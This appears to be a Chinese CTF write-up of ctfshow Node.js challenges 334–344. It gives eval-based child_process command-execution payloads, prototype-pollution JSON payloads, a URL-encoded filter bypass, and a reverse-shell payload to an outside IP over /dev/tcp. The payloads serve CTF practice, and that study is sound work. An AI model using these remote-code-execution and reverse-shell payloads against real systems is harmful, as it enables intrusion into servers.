nodejs

334

先下载zip文件,然后加上.zip,可以看到两个文件

在user中可以看到

输入即可得到flag

335.

这里提到eval函数,eval中可以执行js代码,可以尝试使用这个函数进行测试

payload(显示当前目录下的文件和文件夹列表)

require('child_process').spawnSync('ls',['.']).stdout.toString()

对payload的解释

require 是 Node.js 中用来引入模块的函数,在这里引用了Node.js的child_process模块

child_process 模块是 Node.js 标准库中的一个模块,它提供了创建子进程的功能,可以通过它执行系统命令、shell 脚本等。其中包含有spawnSync()方法,spawnSync函数可以用来执行系统命令

spawnSync(‘ls’,[‘.’]) 前面代表命令,后面是一个参数,这里的 . 代表着当前目录, … 代表上一级目录 …/… 代表上上级目录

这中间用于连接的两个点是用来访问对象属性的

'stdout’是一个缓冲区,它包含了子进程的标准输出,也就是说输出的内容在这里

toString()转换为字符串

 发现了里面有fl00g,txt,应该就是存放flag的文件了,再构建payload

require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

即可得到flag

336

和上一题类似

require('child_process').spawnSync('ls',['.']).stdout.toString()

这题就是把floog.txt改为fl001g.txt

require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

337

分析可得,这里就是判断存在a,b,a的长度等于b的长度,a不等于b(弱类型判断),md5加密a+flag和加密b+flag相等(强类型比较)

payload:

?a[]=1&b[]=1

338

下载源码

在routes中的login.js

上面一行调用了utils中的copy,我们根据所给的源码找到common.js

找到了原型污染,典型的merge函数

payload

"__proto__":{"ctfshow":"36dboy"}

339.

原型链污染,需要用到监听

通过api.js和commo0.jsn里的代码,可以实现原型链的污染

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
});

那么这里就是通过原型链污染query的值,通过给__proto__赋值污染到query,因为这些变量的最上层直接继承了Object.prototype,所以会实现污染的效果。

我们往query中构造payload即会在res.render('api', { query: Function(query)(query)});这段模板渲染的代码中实现RCE,因为query在函数体内执行了。

先抓包访问/login,实现query值的原型链污染,再访问/api来执行query的值。

payload

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"')"}}
但不知但为什么,这里总是出问题

之后几道都是如此

344

router.get('/', function(req, res, next) {
    res.type('html');
    var flag = 'flag_here';
    console.log(req.url)
    if(req.url.match(/8c|2c|\,/ig)){
        res.end('111where is flag :)');
    }
    var query = JSON.parse(req.query.query);
    if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
        res.end(flag);
    }else{
        res.end('222where is flag. :)');
    }

});

这道题过滤了逗号以及逗号的url编码2c,可以用“&”连接三个属性,NodeJS会自动拼接:

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

同时还得进行url编码

?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d
 

因为在get之前双引号会被url编码为%22,与“ctfshow”组成“2c”,符合正则,可以通过

相关推荐

  1. <span style='color:red;'>nodejs</span>

    nodejs

    2024-04-26 23:38:03      40 阅读
  2. <span style='color:red;'>nodejs</span>

    nodejs

    2024-04-26 23:38:03      36 阅读
  3. nodejs 定时任务的执行 node-cron node-schedule

    2024-04-26 23:38:03       48 阅读
  4. <span style='color:red;'>nodejs</span>流

    nodejs

    2024-04-26 23:38:03      56 阅读
  5. <span style='color:red;'>nodejs</span>01

    nodejs01

    2024-04-26 23:38:03      60 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-26 23:38:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-26 23:38:03       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-26 23:38:03       82 阅读
  4. Python语言-面向对象

    2024-04-26 23:38:03       91 阅读

热门阅读

  1. 【动态规划】Leetcode 32. 最长有效括号【困难】

    2024-04-26 23:38:03       34 阅读
  2. 启动MySQL服务

    2024-04-26 23:38:03       37 阅读
  3. 38 事件

    2024-04-26 23:38:03       36 阅读
  4. 【MySQL面试题】经典面试题之“b+树”

    2024-04-26 23:38:03       40 阅读
  5. Nest.js项目小结2

    2024-04-26 23:38:03       34 阅读
  6. 机器学习模型保存和导出pmml文件(python代码)

    2024-04-26 23:38:03       37 阅读